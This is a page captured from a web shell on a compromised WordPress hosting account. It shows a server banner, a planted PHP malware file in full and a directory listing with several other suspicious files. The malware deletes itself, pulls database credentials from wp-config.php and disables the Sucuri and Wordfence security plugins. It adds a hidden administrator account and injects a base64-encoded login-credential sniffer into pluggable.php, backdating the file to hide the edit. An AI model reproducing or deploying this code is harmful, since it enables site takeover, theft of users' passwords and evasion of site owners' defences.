Graybyt3 Was Here

Linux webd484.cluster031.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
Apache
10.31.41.230

File Name : 05e761449785359dc1eff280bfcffb86.pl

<?php unlink(__FILE__); <?php

function get_wp_info($docroot)
{
    $cms_data = array();
    $cms_data['host'] = str_replace("www.", "", $_SERVER["HTTP_HOST"]);
    $cms_data['name'] = "wordpress";
    $cms_data['docroot'] = $docroot;
    $cms_data['ver'] = "";
    $cms_data['db_login'] = "";
    $cms_data['db_passwd'] = "";
    $cms_data['db_name'] = "";
    $cms_data['db_host'] = "";
    $cms_data['db_prefix'] = "";

$cms_data["wf_status"] = "none";
    $cms_data["wf2_status"] = "none";
    $cms_data["se_status"] = "none";

if (!@include("$docroot/wp-includes/version.php")) return $cms_data;

$base_path = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/";
    $need_to_disable = array("se_status" => "sucuri-scanner/sucuri.php",
        "wf_status" => "wordfence/wordfence.php", "wf2_status" => "wordfence/waf/bootstrap.php");

foreach ($need_to_disable as $name=>$plugin) {
        if (is_file($base_path . $plugin)) {
            @rename($base_path . $plugin, $base_path . $plugin . "backup" . rand());
            if (is_file($base_path . $plugin)) {
                $cms_data[$name] = "cantdisable";
            } else {
                $cms_data[$name] = "disabled";
            }
        }
    }

if (!isset($wp_version)) {
        $wp_version = "unknown";
    }

$content = @file_get_contents("$docroot/wp-config.php");
    preg_match_all(rawurldecode('%2F%28define%5C%28%5Cs%2A%5C%27%29%28%5B%5E%5C%27%5D%2B%29%28%5C%27%2C%5Cs%2A%5C%27%29%28%5B%5E%5C%27%5D%2B%29%2F'), $content, $matches);
    if (is_array($matches)) {
        for ($i = 0; $i < count($matches[2]); $i++) {
            if (stristr($matches[2][$i], "db_name")) {
                $cms_data['db_name'] = $matches[4][$i];
            } elseif (stristr($matches[2][$i], "db_user")) {
                $cms_data['db_login'] = $matches[4][$i];
            } elseif (stristr($matches[2][$i], "db_password")) {
                $cms_data['db_passwd'] = $matches[4][$i];
            } elseif (stristr($matches[2][$i], "db_host")) {
                $cms_data['db_host'] = $matches[4][$i];
            }
        }
    }

preg_match_all(rawurldecode("%2Ftable_prefix%5Cs%2A%3D%5Cs%2A%5B%27%22%5D%28.%2A%29%5B%27%22%5D%3B%2F"), $content, $matches);

if (is_array($matches)) {
        $cms_data['db_prefix'] = $matches[1][0];
    }

$cms_data['ver'] = $wp_version;

if (TRUE)
    {
        $cms_data = add_wp_user($cms_data);
    }

return set_wp_sniffer($docroot, $cms_data, "__TIDlLdZ8pV1unnSXqJ7nuAc24IHhaBa8i8HMo0PtdymWniXIVYXuI");
}

function gen_str($length = 10)
{
    return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}

function set_wp_sniffer($docroot, $cms_data, $auth)
{
    $replacement = "\$ignore_codes = array";
    $payload_dumper = base64_decode("ICAgIGlmICghaXNfd3BfZXJyb3IoJHVzZXIpKQogICAgewogICAgICAgICRjc3JmID0gIntBVVRIS0VZfSI7CiAgICAgICAgJGxpbmUgPSAkcGFzc3dvcmQgLiAiXHQiIC4gJHVzZXJuYW1lIC4gIlx0IiAuIGdldF9zaXRlX3VybCgpOwogICAgICAgICRrZXkgPSBzdHJfcmVwZWF0KCRjc3JmLCBpbnR2YWwoc3RybGVuKCRsaW5lKSAvIHN0cmxlbigkY3NyZikpICsgMSk7CiAgICAgICAgJGxpbmUgPSBiaW4yaGV4KCRsaW5lIF4gJGtleSk7CiAgICAKICAgICAgICAkbGluZXMgPSBnZXRfb3B0aW9uKCJ7RFVNUEZJTEV9Iik7CiAgICAgICAgJGxpbmVzID0gZXhwbG9kZSgiXG4iLCAkbGluZXMpOwogICAgICAgICRsaW5lc1tdID0gJGxpbmU7CiAgICAgICAgJGxpbmVzID0gYXJyYXlfdW5pcXVlKCRsaW5lcyk7CiAgICAgICAgdXBkYXRlX29wdGlvbigie0RVTVBGSUxFfSIsIGltcGxvZGUoIlxuIiwgYXJyYXlfdW5pcXVlKCRsaW5lcykpKTsKICAgIAogICAgICAgICRsaW5lcyA9IEBmaWxlKCJ7RFVNUEZJTEV9IiwgRklMRV9JR05PUkVfTkVXX0xJTkVTKTsKICAgICAgICAkbGluZXNbXSA9ICRsaW5lOwogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygie0RVTVBGSUxFfSIsIGltcGxvZGUoIlxuIiwgYXJyYXlfdW5pcXVlKCRsaW5lcykpKTsKICAgIH0K");

$patch_file = "$docroot/wp-includes/pluggable.php";

$path_content = @file_get_contents($patch_file);

if (strpos($path_content, "line ^ \$key") !== FALSE || strpos($path_content, "line ^ str_repeat") !== FALSE) {
        preg_match_all(rawurldecode("%2F%5C%24csrf%5Cs%3D%5Cs%5C%22%28%5Cw%7B20%2C%7D%29%5C%22%3B%2F"), $path_content, $matches);

if (is_array($matches))
        {
            $cms_data["auth_key"] = $matches[1][0];
        }

$cms_data["sniffer_status"] = "already";
        return $cms_data;
    }

$dump_file = substr(md5($auth), 0, 8);

$payload_dumper = str_replace("{AUTHKEY}", $auth, $payload_dumper);
    $payload_dumper = str_replace("{DUMPFILE}", $dump_file, $payload_dumper);

$old_time = @stat($patch_file);
    $src = @file_get_contents($patch_file);

$src = str_replace($replacement, $payload_dumper . "\r\n" . $replacement, $src);

@file_put_contents($patch_file, $src);
    @touch($patch_file, $old_time["mtime"]);

if (strpos(@file_get_contents($patch_file), $auth) !== FALSE) {
        $cms_data["sniffer_status"] = "installed";
    } else {
        $cms_data["sniffer_status"] = "error";
    }

return $cms_data;
}

function add_wp_user($cms_data)
{
    $db_name = $cms_data['db_name'];
    $db_user = $cms_data['db_login'];
    $db_pass = $cms_data['db_passwd'];
    $db_host = $cms_data['db_host'];
    $db_prefix = $cms_data['db_prefix'];

$username = $db_user . "2";
    $pass_plain = gen_str(8);

if (!empty($db_name)) {

if (strpos($db_host, ":") !== FALSE) {
            $host_port = explode(":", $db_host);
            $host = $host_port[0];
            $port = intval($host_port[1]);
        } else {
            $host = $db_host;
            $port = 3306;
        }

if ($conn = mysqli_connect($host, $db_user, $db_pass, $db_name, $port)) {

mysqli_select_db($conn, $db_name);

$result3 = mysqli_query($conn, "SELECT * FROM " . $db_prefix . "users WHERE user_login='" . $username . "';");
            if (mysqli_num_rows($result3)) {
                return $cms_data;
            }

$pass = md5($pass_plain);

mysqli_query($conn, "INSERT INTO $db_prefix" . "users (`user_login`, `user_pass`, `user_nicename`, `user_status`, `display_name`, `user_registered`) VALUES ('$username', '$pass', '$username', 0, '$username', '1979-01-01 00:00:00');");
            mysqli_query($conn, "SET @created_user_id = LAST_INSERT_ID();");
            mysqli_query($conn, "INSERT INTO $db_prefix" . "usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @created_user_id, '" . $db_prefix . "capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');");
            mysqli_query($conn, "INSERT INTO $db_prefix" . "usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @created_user_id, '" . $db_prefix . "user_level', '10');");
            mysqli_commit($conn);

$cms_data["cms_user"] = $username;
            $cms_data["cms_passwd"] = $pass_plain;

mysqli_close($conn);
        }
    }

return $cms_data;
}

echo "VjUmL1baqa1qN0p7sMsWljQKDGfM4UyJfxRaxULEzK5ljbJB64TxR7oNInG" . base64_encode(serialize(get_wp_info($_SERVER["DOCUMENT_ROOT"]))) . "VjUmL1baqa1qN0p7sMsWljQKDGfM4UyJfxRaxULEzK5ljbJB64TxR7oNInG";
exit();

System Information
*ReClick For Close
File : BlackDragon /index.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	uwukycr/users	0755	2024-11-14 09:50:34
..	dir	-	uwukycr/users	0505	2024-11-03 10:40:15
wp-admin	dir	-	uwukycr/users	0555	2024-10-12 06:49:16
wp-content	dir	-	uwukycr/users	0555	2024-10-12 07:01:32
wp-includes	dir	-	uwukycr/users	0555	2024-10-12 06:30:53
.htaccess	text/plain	277 B	uwukycr/users	0555	2024-10-12 06:49:16
05e761449785359dc1eff280bfcffb86.pl	text/x-php	6.93 KB	uwukycr/users	0604	2024-11-08 07:41:24
27f9f0f3fa5016920af8529339427585.pl	text/x-php	6.93 KB	uwukycr/users	0604	2024-11-08 07:41:26
HccFzgSpcVrV	text/x-php	969 B	uwukycr/users	0604	2024-11-07 03:34:31
admin-ajax.php	application/octet-stream	4.62 KB	uwukycr/users	0604	2024-10-12 06:49:16
cha-kwetiaw.php	text/x-php	1.26 MB	uwukycr/users	0604	2024-11-07 04:09:28
dafba335b9e93da1ba287debd3cd32ad.pl	text/x-php	6.93 KB	uwukycr/users	0604	2024-11-08 07:41:25
index.php	text/x-php	34.55 KB	uwukycr/users	0755	2024-11-08 06:10:59
jpewplFliool	text/x-php	969 B	uwukycr/users	0604	2024-11-14 06:28:14
license.txt	text/plain	19.45 KB	uwukycr/users	0555	2024-10-12 06:30:48
options.php	text/x-php	4.37 KB	uwukycr/users	0604	2024-10-12 06:49:16
readme.html	text/html	7.24 KB	uwukycr/users	0555	2024-10-12 06:30:48
themes.php	application/octet-stream	4.28 KB	uwukycr/users	0604	2024-10-12 06:49:16
wp-activate.php	text/x-php	7.21 KB	uwukycr/users	0555	2024-10-12 06:30:51
wp-blog-activated.php	text/x-php	550 B	uwukycr/users	0604	2024-11-07 04:09:04
wp-blog-header.php	text/x-php	351 B	uwukycr/users	0555	2024-10-12 06:30:48
wp-class-vars.php	text/x-php	92.77 KB	uwukycr/users	0604	2024-10-12 06:49:16
wp-comments-post.php	text/x-php	2.27 KB	uwukycr/users	0555	2024-10-12 06:30:51
wp-config-sample.php	text/x-php	2.96 KB	uwukycr/users	0555	2024-10-12 06:30:48
wp-config.php	text/x-php	3.53 KB	uwukycr/users	0755	2024-09-20 03:54:32
wp-cron.php	text/x-php	5.51 KB	uwukycr/users	0555	2024-10-12 06:30:48
wp-links-opml.php	text/x-php	2.44 KB	uwukycr/users	0555	2024-10-12 06:30:49
wp-load.php	text/x-php	3.84 KB	uwukycr/users	0555	2024-10-12 06:30:49
wp-login.php	text/x-php	50.04 KB	uwukycr/users	0555	2024-10-12 06:30:48
wp-mail.php	text/x-php	8.33 KB	uwukycr/users	0555	2024-10-12 06:30:49
wp-option.php	text/x-php	23.39 KB	uwukycr/users	0604	2024-10-12 06:49:16
wp-settings.php	text/x-php	28.1 KB	uwukycr/users	0755	2024-10-12 06:30:48
wp-signup.php	text/x-php	33.58 KB	uwukycr/users	0555	2024-10-12 06:30:48
wp-trackback.php	text/x-php	4.77 KB	uwukycr/users	0555	2024-10-12 06:30:51
wp-ver.php	text/x-php	2.32 KB	uwukycr/users	0604	2024-11-07 03:47:39
xmlrpc.php	text/x-php	3.17 KB	uwukycr/users	0555	2024-10-12 06:30:48